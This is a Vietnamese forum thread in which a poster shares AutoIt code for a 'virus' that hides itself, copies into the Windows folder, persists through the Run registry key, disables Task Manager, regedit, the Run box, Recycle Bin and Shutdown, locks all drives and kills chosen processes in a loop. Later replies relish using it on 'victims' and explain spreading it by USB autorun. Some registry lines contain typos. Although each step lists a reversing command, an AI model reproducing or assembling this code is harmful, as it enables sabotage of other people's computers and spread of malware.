Mình xin giới thiệu code con jojan nì hay lém!



Lệnh đầu tiên mà bắt buộc con virus = autoit nào cũng phải có:
#Notrayicon
---> để kô hiện chương trình ở taskbar,có nghĩa là nó sẽ chạy ẩn trong Windown

FileCopy(@ScriptDir & "\***.exe","C:\WINDOWS",1)
---> "***" sẽ là tên virus mà bạn tạo ở con autoit này, lệnh này dùng để kết hợp với lệnh kế tiếp.Lưu ý:Tên virus này bạn sẽ tạo ra lúc biên dich chương trình thành file .exe
Lệnh khắc phục:
FileDelete("C:\Windows\*****.exe")

RegWrite("HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run","explorer","REG_SZ",@WindowsDir & "\*****.exe")
---> **** sẽ là tên chương trình, lệnh này dùng để khởi động virus mỗi khi máy tính được bật lên, và chỉ dùng được khi có lệnh ở trên
Lệnh khắc phục:
RegDelete("HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run","explorer")

RegWrite("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System","DisableTaskMgr","REG_DWORD","1")
RegWrite("HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System","DisableTaskMgr","REG_DWORD","1")
----> lệnh này sẽ giúp con virus của bạn khóa taskmanager của máy tính
Lệnh khắc phục:
RegDelete("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System","DisableTaskMgr")
RegDelete("HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System","DisableTaskMgr")

RegWrite("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System","DisableRegistryTools","REG_DWORD","1")
RegWrite("HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System","DisableRegistryTools","REG_DWORD","1")
----> lệnh này sẽ giúp con virus của bạn khóa regedit của máy tính
Lệnh khắc phục:
RegDelete("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System","DisableRegistryTools")
RegDelete("HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System","DisableRegistryTools")

RegWrite("HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer","NoRun","REG_DWORD","1")
----> lệnh này sẽ giúp làm mất nút run trong windows
Lệnh khắc phục:
RegDelete("HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer","NoRun")

RegWrite("HKEY_LOCAL_MACHINE\ SOFTWARE\ Microsoft\Windows\CurrentVersion\Explorer\BitBucket","NukeOnDelete","RED_DWORD","1")
----->Lệnh này sẽ làm vô hiệu hoá thùng rác
Lệnh khắc phục:
RegDelete("HKEY_LOCAL_MACHINE\ SOFTWARE\ Microsoft\Windows\CurrentVersion\Explorer\BitBucket","NukeOnDelete")

RegWrite("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer","NoViewOnDrive","REG_DWORD","67108863")
RegWrite("HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer","NoViewOnDrive","REG_DWORD","67108863")
RegWrite("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer","NoDrives","REG_DWORD","67108863")
RegWrite("HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer","NoDrives","REG_DWORD","67108863")
----> lệnh này giúp bạn khóa ổ đĩa của người khác, kô cho truy cập vào ổ đĩa, "67108863" ---> là thông số để khóa tất cả các ổ đĩa
Lệnh khắc phục:
RegDelete("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer","NoViewOnDrive")
RegDelete("HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer","NoViewOnDrive")
RegDelete("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer","NoDrives")
RegDelete("HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer","NoDrives")


RegWrite("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer","NoClose","REG_DWORD","1")
---> lệnh này làm mất nút Shutdown ở Start
Lệnh khắc phục:
RegDelete("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer","NoClose")

Lệnh reset máy: Các ban cần lưu ý với các lệnh reset máy vì nó sẽ reset máy của ban liện tục mỗi khi bạn vào Windown
Shutdown(thông số)
Các thông số có thể có là
+0: Đổi user (hay thường gọi là log off)
+1: Tắt máy (shutdown)
+2: reset máy(restart)
+4: Force
+8: Power down
+32: Stanby
+64: Hibernate
VD: Shutdown(2) ---> reset máy

Lệnh đợi, dừng:
Sleep(seconds)
VD: Sleep(3000) ---> Dừng 3 giây

Lệnh kô cho mỡ 1 chương trình bất kỳ (chỉ cần biết tên process của chương trình đó)
$VA = ProcessExists("iexplore.exe")
$RA = ProcessClose("iexplore.exe")
$BU = ProcessExists("winamp.exe")
$BA = ProcessClose("winamp.exe")
While 1
if $VA then $RA
$RA = ProcessClose("iexplore.exe")
if $BU then $BA
$BA = ProcessClose("winamp.exe")

WEnd

----> VD: If ProcessExists("iexplorer.exe") then ---> khi máy tính mở file iexplorer (IE)
ProcessClose("iexplorer.exe") --> đóng ngay lập tức
EndIf

Tuy không rành về cái này nhưng vẫn thks chủ thớt vì công post bài.

Cái nì hay lém! Nếu như máy của nạn nhân mà không có phần mềm anti xịn thì chỉ còn nước cài lại win

Hê hê, hôm nào bác sang tay em này cho em, ghét thằng nào gài chết cha nó luôn! ://v:

Nhất là mấy thằng gà công nghiệp! dính vào thì chỉ còn nước :/le:

Cái này hay ấy nha! Vì nó mà máy em bị cài lại win lun

Hì, chú phải cẩn thận với ông anh của chú đấy. Nó không chừa anh em nó luôn mà.

Tụi anh đang bàn nhau lật đổ nó đây. ://v:

ĐCM mấy chú bây thích gì nè! thích đập đá ở quy định thì nói anh 1 tiếng chứ không cần truyền bá lung tung đâu nha! :*65: anh chém chém

Ấy bác cứ nóng, đâu cần phải vác rựa ra hù thế, em sợ quá :affraid:

Bơm đểu anh đấy hả! ai thích thì anh chìu còn ai mà khiều thì anh chích phát chết lun!

Cách tạo lây lan qua USB làm sao pro

Cách tạo lây lan qua USB làm sao pro

Bạn cóp file virus vào usb. Sử dụng autorun. Mỗi khi victim click vào usb thì autorun sẽ tự động kích hoạt con virus kia lên.
Cách tạo autorun như sau:
- Mở Notepad bằng cách vào Start -> Run, gõ "notepad"
- Khi trình soạn thảo notepad hiện ra, gõ những dòng dưới đây vào:

[autorun]
open=Setup.exe
icon=Setup.ico

- Lưu file text đó lại với tên: Autorun.inf (chú ý, khi chọn lưu file,
phần "Save as type" phía dưới chọn "All files") và tập tin Autorun.inf
sẽ nằm trong thư mục gốc của đĩa CD

ở đây: Setup.exe là tên chương trình bạn cần chạy và Setup.ico là biểu
tượng của chương trình đó. File *.ico đơn thuần chỉ mang tính chất trang
điểm thêm vì thế có cũng được và không cũng được. Khi không có tập tin
Setup.ico trong thư mục đĩa CD thì bạn cũng không cần đến icon=Setup.ico
nữa.

Mình đã làm thử nhưng file autorun không tự lây lan qua mấy victim khi click chuột được.

Oh my god! bạn phải lên mạng tải file autorun.exe đã rùi bỏ cùng chỗ rùi nó chạy mới OK